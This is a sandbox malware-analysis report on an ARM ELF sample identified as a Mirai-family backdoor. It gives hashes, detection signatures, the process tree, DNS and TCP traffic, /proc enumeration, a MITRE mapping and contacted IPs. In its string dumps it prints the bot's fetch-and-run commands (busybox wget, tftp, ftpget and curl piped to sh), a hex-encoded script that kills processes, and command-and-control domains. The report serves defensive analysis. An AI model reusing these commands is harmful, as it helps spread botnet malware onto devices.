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Linux Analysis Report
jklarm5.elf

Overview

General Information

Sample name:	jklarm5.elf
Analysis ID:	1643353
MD5:	634ed3b7c6aaf8ce74f2868395f8a8d8
SHA1:	47348232f0c94a16922ef7d3fadc4007e358fff7
SHA256:	4775c08ff5efda5d3b2f7183d823668a60b0e38329f5de4551e97814383757db
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643353
Start date and time:	2025-03-19 19:32:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	jklarm5.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/129@31/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/jklarm5.elf
PID:	5454
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

jklarm5.elf (PID: 5454, Parent: 5375, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/jklarm5.elf

jklarm5.elf New Fork (PID: 5456, Parent: 5454)

jklarm5.elf New Fork (PID: 5458, Parent: 5456)

jklarm5.elf New Fork (PID: 5460, Parent: 5456)

jklarm5.elf New Fork (PID: 5461, Parent: 5456)

cleanup

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: jklarm5.elf

ReversingLabs: Detection: 38%

Source: jklarm5.elf

String: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Source: global traffic	TCP traffic: 192.168.2.13:49090 -> 45.147.251.145:1440
Source: global traffic	TCP traffic: 192.168.2.13:48234 -> 104.248.47.182:1440
Source: global traffic	TCP traffic: 192.168.2.13:47808 -> 185.220.204.227:1440

Source: /tmp/jklarm5.elf (PID: 5454)

Socket: 127.0.0.1:39148

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 121.247.15.89
Source: unknown	TCP traffic detected without corresponding DNS query: 154.243.86.243
Source: unknown	TCP traffic detected without corresponding DNS query: 121.247.15.89
Source: unknown	TCP traffic detected without corresponding DNS query: 187.86.51.77
Source: unknown	TCP traffic detected without corresponding DNS query: 154.243.86.243
Source: unknown	TCP traffic detected without corresponding DNS query: 187.86.51.77
Source: unknown	TCP traffic detected without corresponding DNS query: 77.195.31.140
Source: unknown	TCP traffic detected without corresponding DNS query: 120.28.226.5
Source: unknown	TCP traffic detected without corresponding DNS query: 77.195.31.140
Source: unknown	TCP traffic detected without corresponding DNS query: 120.28.226.5
Source: unknown	TCP traffic detected without corresponding DNS query: 106.194.24.182
Source: unknown	TCP traffic detected without corresponding DNS query: 13.153.143.96
Source: unknown	TCP traffic detected without corresponding DNS query: 106.194.24.182
Source: unknown	TCP traffic detected without corresponding DNS query: 151.229.231.120
Source: unknown	TCP traffic detected without corresponding DNS query: 13.153.143.96
Source: unknown	TCP traffic detected without corresponding DNS query: 96.68.206.94
Source: unknown	TCP traffic detected without corresponding DNS query: 151.229.231.120
Source: unknown	TCP traffic detected without corresponding DNS query: 66.3.97.7
Source: unknown	TCP traffic detected without corresponding DNS query: 96.68.206.94
Source: unknown	TCP traffic detected without corresponding DNS query: 55.56.160.150
Source: unknown	TCP traffic detected without corresponding DNS query: 66.3.97.7
Source: unknown	TCP traffic detected without corresponding DNS query: 135.233.28.114
Source: unknown	TCP traffic detected without corresponding DNS query: 55.56.160.150
Source: unknown	TCP traffic detected without corresponding DNS query: 135.233.28.114
Source: unknown	TCP traffic detected without corresponding DNS query: 23.114.185.186
Source: unknown	TCP traffic detected without corresponding DNS query: 87.158.171.250
Source: unknown	TCP traffic detected without corresponding DNS query: 23.114.185.186
Source: unknown	TCP traffic detected without corresponding DNS query: 208.197.166.169
Source: unknown	TCP traffic detected without corresponding DNS query: 87.158.171.250
Source: unknown	TCP traffic detected without corresponding DNS query: 76.171.130.230
Source: unknown	TCP traffic detected without corresponding DNS query: 208.197.166.169
Source: unknown	TCP traffic detected without corresponding DNS query: 175.27.83.77
Source: unknown	TCP traffic detected without corresponding DNS query: 76.171.130.230
Source: unknown	TCP traffic detected without corresponding DNS query: 101.98.99.107
Source: unknown	TCP traffic detected without corresponding DNS query: 179.89.137.77
Source: unknown	TCP traffic detected without corresponding DNS query: 57.216.239.68
Source: unknown	TCP traffic detected without corresponding DNS query: 154.106.241.65
Source: unknown	TCP traffic detected without corresponding DNS query: 176.244.203.30
Source: unknown	TCP traffic detected without corresponding DNS query: 155.23.249.201
Source: unknown	TCP traffic detected without corresponding DNS query: 172.255.21.239
Source: unknown	TCP traffic detected without corresponding DNS query: 60.154.14.250
Source: unknown	TCP traffic detected without corresponding DNS query: 101.98.99.107
Source: unknown	TCP traffic detected without corresponding DNS query: 179.89.137.77
Source: unknown	TCP traffic detected without corresponding DNS query: 175.27.83.77
Source: unknown	TCP traffic detected without corresponding DNS query: 57.216.239.68
Source: unknown	TCP traffic detected without corresponding DNS query: 155.23.249.201
Source: unknown	TCP traffic detected without corresponding DNS query: 176.244.203.30
Source: unknown	TCP traffic detected without corresponding DNS query: 154.106.241.65
Source: unknown	TCP traffic detected without corresponding DNS query: 172.255.21.239
Source: unknown	TCP traffic detected without corresponding DNS query: 196.55.87.175

Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: jklarm5.elf	String found in binary or memory: http:///curl.sh
Source: jklarm5.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/129@31/0

Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5481/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5481/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5492/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5492/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5492/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5492/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5482/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5482/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5493/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5493/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5493/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5493/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5483/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5483/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5494/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5494/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5494/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5494/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5484/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5484/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5495/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5495/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5495/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5495/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5485/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5485/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5496/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5496/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5496/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5496/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5486/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5486/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5487/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5487/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5488/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5488/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5490/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5490/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5490/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5490/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5491/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5491/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5491/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5491/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5489/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5489/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5489/maps	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5460)	File opened: /proc/5489/cmdline	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/230/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/231/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/232/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/233/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/234/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/236/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/237/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/238/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/239/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/914/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/3634/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/10/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/917/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/11/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/12/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/13/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/14/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/15/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/5155/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/16/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/17/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/5399/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/18/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/19/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/240/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/3095/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/120/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/241/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/121/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/242/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/1/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/122/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/243/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/2/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/123/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/244/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/3/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/124/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/245/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/1588/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/125/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/4/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/246/comm	Jump to behavior
Source: /tmp/jklarm5.elf (PID: 5454)	File opened: /proc/126/comm	Jump to behavior

Source: /tmp/jklarm5.elf (PID: 5454)

Queries kernel information via 'uname':

Jump to behavior

Source: jklarm5.elf, 5454.1.00007ffe8d588000.00007ffe8d5a9000.rw-.sdmp, jklarm5.elf, 5458.1.00007ffe8d588000.00007ffe8d5a9000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/jklarm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklarm5.elf
Source: jklarm5.elf, 5454.1.0000555fe2868000.0000555fe29b6000.rw-.sdmp, jklarm5.elf, 5458.1.0000555fe2868000.0000555fe29b6000.rw-.sdmp	Binary or memory string: _U!/etc/qemu-binfmt/arm
Source: jklarm5.elf, 5454.1.0000555fe2868000.0000555fe29b6000.rw-.sdmp, jklarm5.elf, 5458.1.0000555fe2868000.0000555fe29b6000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: jklarm5.elf, 5454.1.00007ffe8d588000.00007ffe8d5a9000.rw-.sdmp, jklarm5.elf, 5458.1.00007ffe8d588000.00007ffe8d5a9000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
jklarm5.elf	39%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ohlookthereismyboats.geek	104.248.47.182	true	false		high
watchmepull.dyn. [malformed]	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	jklarm5.elf	false		high
http:///curl.sh	jklarm5.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
73.148.252.59	unknown	United States	7922	COMCAST-7922US	false
100.242.245.92	unknown	United States	21928	T-MOBILE-AS21928US	false
143.80.207.45	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
123.27.148.140	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
79.5.115.164	unknown	Italy	3269	ASN-IBSNAZIT	false
190.116.220.254	unknown	Peru	12252	AmericaMovilPeruSACPE	false
168.59.132.206	unknown	United States	1761	TDIR-CAPNETUS	false
103.198.143.75	unknown	Singapore	64049	RJIPL-SGRelianceJioInfocommPteLtdSingaporeSG	false
116.224.1.145	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
21.197.184.200	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
42.226.127.30	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
1.160.9.121	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
17.253.86.144	unknown	United States	6185	APPLE-AUSTINUS	false
171.28.100.138	unknown	United Kingdom	34457	AMB-GENERALIDE	false
186.223.58.122	unknown	Brazil	28573	CLAROSABR	false
155.126.231.131	unknown	United States	11003	PANDGUS	false
74.200.36.1	unknown	United States	14010	JACKHENRYUS	false
20.172.86.19	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
140.251.44.169	unknown	United States	20252	JSIWMCUS	false
205.227.63.163	unknown	United States	3356	LEVEL3US	false
202.223.172.255	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
33.232.77.197	unknown	United States	2686	ATGS-MMD-ASUS	false
212.174.117.209	unknown	Turkey	9121	TTNETTR	false
151.241.176.226	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
192.161.201.130	unknown	United States	11492	CABLEONEUS	false
50.144.241.135	unknown	United States	7922	COMCAST-7922US	false
212.44.108.156	unknown	Slovenia	43128	DHH-ASSI	false
209.3.12.120	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
171.101.57.145	unknown	Thailand	17552	TRUE-AS-APTrueInternetCoLtdTH	false
58.107.226.88	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
140.45.19.27	unknown	United States	27066	DNIC-ASBLK-27032-27159US	false
139.44.116.174	unknown	Australia	9905	LINKNET-ID-APLinknetASNID	false
33.43.212.190	unknown	United States	2686	ATGS-MMD-ASUS	false
103.92.134.32	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
188.67.165.190	unknown	Finland	16086	DNAFI	false
134.11.143.70	unknown	United States	6041	DNIC-ASBLK-05800-06055US	false
135.8.70.222	unknown	United States	18676	AVAYAUS	false
196.203.148.130	unknown	Tunisia	37671	GLOBALNET-ASTN	false
71.207.223.68	unknown	United States	7922	COMCAST-7922US	false
150.150.138.236	unknown	Korea Republic of	4668	LGNET-AS-KRLGCNSKR	false
26.244.100.201	unknown	United States	7922	COMCAST-7922US	false
154.104.21.67	unknown	Tunisia	37693	TUNISIANATN	false
200.195.208.122	unknown	Brazil	262318	HorizonsTelecomunicacoeseTecnologiaLtdaBR	false
53.216.136.220	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
135.233.28.114	unknown	United States	10455	LUCENT-CIOUS	false
48.103.61.154	unknown	United States	2686	ATGS-MMD-ASUS	false
72.132.213.55	unknown	United States	20001	TWC-20001-PACWESTUS	false
128.8.80.88	unknown	United States	27	UMDNETUS	false
1.187.34.229	unknown	India	45271	ICLNET-AS-APIdeaCellularLimitedIN	false
192.154.200.247	unknown	United States	13768	COGECO-PEER1CA	false
2.208.246.181	unknown	Germany	6805	TDDE-ASN1DE	false
9.119.0.221	unknown	United States	3356	LEVEL3US	false
45.243.191.155	unknown	Egypt	24863	LINKdotNET-ASEG	false
202.63.216.75	unknown	Pakistan	38584	CUBEXS-AS-APCubeXSPvtLtdInternetServiceProviderPakis	false
7.110.127.58	unknown	United States	3356	LEVEL3US	false
145.161.95.51	unknown	Netherlands	59524	KPN-IAASNL	false
166.151.150.106	unknown	United States	22394	CELLCOUS	false
21.125.39.25	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.125.84.142	unknown	United States	16509	AMAZON-02US	false
110.229.142.196	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
143.118.129.159	unknown	Sweden	1881	FMVSE	false
43.15.202.128	unknown	Japan	4249	LILLY-ASUS	false
201.204.33.150	unknown	Costa Rica	11830	InstitutoCostarricensedeElectricidadyTelecomCR	false
54.111.233.97	unknown	United States	16509	AMAZON-02US	false
37.40.222.63	unknown	Oman	28885	OMANTEL-NAP-ASOmanTelNAPOM	false
58.11.219.208	unknown	Thailand	17552	TRUE-AS-APTrueInternetCoLtdTH	false
210.186.76.150	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
29.176.167.128	unknown	United States	7922	COMCAST-7922US	false
51.73.109.1	unknown	United Kingdom	2686	ATGS-MMD-ASUS	false
165.34.163.138	unknown	United States	37053	RSAWEB-ASZA	false
25.68.137.170	unknown	United Kingdom	7922	COMCAST-7922US	false
33.49.51.63	unknown	United States	2686	ATGS-MMD-ASUS	false
41.118.193.121	unknown	South Africa	16637	MTNNS-ASZA	false
99.176.184.58	unknown	United States	7018	ATT-INTERNET4US	false
15.87.240.164	unknown	United States	13979	ATT-IPFRUS	false
221.226.230.121	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
198.157.32.168	unknown	United States	18676	AVAYAUS	false
146.59.37.7	unknown	Norway	16276	OVHFR	false
218.181.62.64	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
129.167.119.52	unknown	United States	297	AS297US	false
168.31.91.243	unknown	United States	3479	PEACHNET-AS1US	false
170.5.55.210	unknown	United States	7726	FITC-ASUS	false
